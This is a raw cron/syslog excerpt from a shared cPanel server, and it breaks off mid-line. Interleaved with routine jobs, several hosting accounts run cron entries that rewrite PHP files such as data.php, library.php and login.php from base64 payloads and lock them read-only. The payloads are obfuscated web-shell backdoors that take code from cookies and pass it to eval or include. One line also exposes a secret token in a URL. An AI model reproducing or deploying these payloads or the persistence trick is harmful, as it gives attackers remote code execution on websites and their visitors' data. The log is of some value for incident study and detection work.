Jun  7 11:36:01 medusa CROND[3797]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:36:01 medusa CROND[3798]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:36:01 medusa CROND[3799]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:36:01 medusa CROND[3803]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:36:01 medusa CROND[3804]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 11:36:01 medusa CROND[3806]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:36:01 medusa CROND[3808]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:36:01 medusa CROND[3809]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 11:36:01 medusa CROND[3810]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:36:01 medusa CROND[3805]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:37:01 medusa CROND[5369]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:37:02 medusa CROND[5402]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:37:02 medusa CROND[5421]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 11:37:02 medusa CROND[5422]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:37:02 medusa CROND[5423]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:37:02 medusa CROND[5424]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:37:02 medusa CROND[5425]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:37:02 medusa CROND[5427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:37:02 medusa CROND[5429]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:37:02 medusa CROND[5432]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:37:02 medusa CROND[5437]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:37:02 medusa CROND[5438]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:37:02 medusa CROND[5439]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 11:38:02 medusa CROND[6763]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:38:02 medusa CROND[6764]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:38:02 medusa CROND[6765]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 11:38:02 medusa CROND[6767]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:38:02 medusa CROND[6769]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 11:38:02 medusa CROND[6768]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:38:02 medusa CROND[6770]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:38:02 medusa CROND[6772]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:38:02 medusa CROND[6771]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:38:02 medusa CROND[6774]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3Eg